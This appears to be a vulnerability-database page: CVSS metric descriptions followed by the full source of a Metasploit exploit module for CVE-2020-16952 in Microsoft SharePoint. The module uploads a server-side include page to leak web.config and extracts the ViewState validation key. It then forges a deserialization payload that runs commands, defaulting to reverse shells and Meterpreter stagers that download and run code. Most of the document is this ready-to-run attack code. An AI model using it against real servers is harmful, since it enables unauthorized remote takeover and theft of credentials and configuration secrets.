The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft SharePoint SSI / ViewState Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::ViewState
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',
'Description' => %q{
This module exploits a server-side include (SSI) in SharePoint to leak
the web.config file and forge a malicious ViewState with the extracted
validation key.
This exploit is authenticated and requires a user with page creation
privileges, which is a standard permission in SharePoint.
The web.config file will be stored in loot once retrieved, and the
VALIDATION_KEY option can be set to short-circuit the SSI and trigger
the ViewState deserialization.
Tested against SharePoint 2019 on Windows Server 2016.
},
'Author' => [
'mr_me', # Discovery and exploit
'wvu' # Module
],
'References' => [
['CVE', '2020-16952'],
['URL', 'https://srcincite.io/advisories/src-2020-0022/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']
],
'DisclosureDate' => '2020-10-13', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
],
[
'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
],
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'DotNetGadgetChain' => :TypeConfuseDelegate
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
# "Promote" these advanced options so we don't have to pass around our own
OptString.new('HttpUsername', [false, 'SharePoint username']),
OptString.new('HttpPassword', [false, 'SharePoint password'])
])
end
def post_auth?
true
end
def username
datastore['HttpUsername']
end
def password
datastore['HttpPassword']
end
def vuln_builds
[
[Gem::Version.new('15.0.0.4571'), Gem::Version.new('15.0.0.5275')], # SharePoint 2013
[Gem::Version.new('16.0.0.4351'), Gem::Version.new('16.0.0.5056')], # SharePoint 2016
[Gem::Version.new('16.0.0.10337'), Gem::Version.new('16.0.0.10366')] # SharePoint 2019
]
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
# Hat tip @tsellers-r7
#
# MicrosoftSharePointTeamServices: 16.0.0.10337: 1; RequireReadOnly
unless (build_header = res.headers['MicrosoftSharePointTeamServices'])
return CheckCode::Unknown('Target does not appear to be running SharePoint.')
end
unless (build = build_header.scan(/^([\d.]+):/).flatten.first)
return CheckCode::Detected('Target did not respond with SharePoint build.')
end
if vuln_builds.any? { |build_range| Gem::Version.new(build).between?(*build_range) }
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
end
CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
end
def exploit
unless username && password
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword are required for exploitation')
end
if (@validation_key = datastore['VALIDATION_KEY'])
print_status("Using ViewState validation key #{@validation_key}")
else
create_ssi_page
leak_web_config
end
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end
def create_ssi_page
print_status("Creating page for SSI: #{ssi_path}")
res = send_request_cgi(
'method' => 'PUT',
'uri' => ssi_path,
'data' => ssi_page
)
unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end
unless [200, 201].include?(res.code)
if res.code == 401
fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
end
fail_with(Failure::NotFound, 'Failed to create page')
end
print_good('Successfully created page')
@page_created = true
end
def leak_web_config
print_status('Leaking web.config')
res = send_request_cgi(
'method' => 'GET',
'uri' => ssi_path,
'headers' => {
ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'
}
)
unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end
unless res.code == 200
fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
end
unless (web_config = res.get_xml_document.at('//configuration'))
fail_with(Failure::NotFound, 'Failed to extract web.config from response')
end
print_good("Saved web.config to: #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")
unless (@validation_key = extract_viewstate_validation_key(web_config))
fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')
end
print_good("ViewState validation key: #{@validation_key}")
ensure
delete_ssi_page if @page_created
end
def delete_ssi_page
print_status("Deleting #{ssi_path}")
res = send_request_cgi(
'method' => 'DELETE',
'uri' => ssi_path,
'partial' => true
)
unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end
unless res.code == 204
print_warning('Failed to delete page')
return
end
print_good('Successfully deleted page')
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/_layouts/15/zoombldr.aspx'),
'vars_post' => {
'__VIEWSTATE' => generate_viewstate_payload(
cmd,
extra: pack_viewstate_generator('63E6434F'), # /_layouts/15/zoombldr.aspx
algo: 'sha256',
key: pack_viewstate_validation_key(@validation_key)
)
}
)
unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end
unless res.code == 200
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
end
vprint_good('Successfully executed command')
end
def ssi_page
<<~XML
<WebPartPages:DataFormWebPart runat="server">
<ParameterBindings>
<ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />
</ParameterBindings>
<xsl>
<xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:param name="#{ssi_param}" />
<xsl:template match="/">
<xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />
</xsl:template>
</xsl:stylesheet>
</xsl>
</WebPartPages:DataFormWebPart>
XML
end
def ssi_path
@ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")
end
def ssi_header
@ssi_header ||= rand_text_alphanumeric(8..42)
end
def ssi_param
@ssi_param ||= rand_text_alphanumeric(8..42)
end
end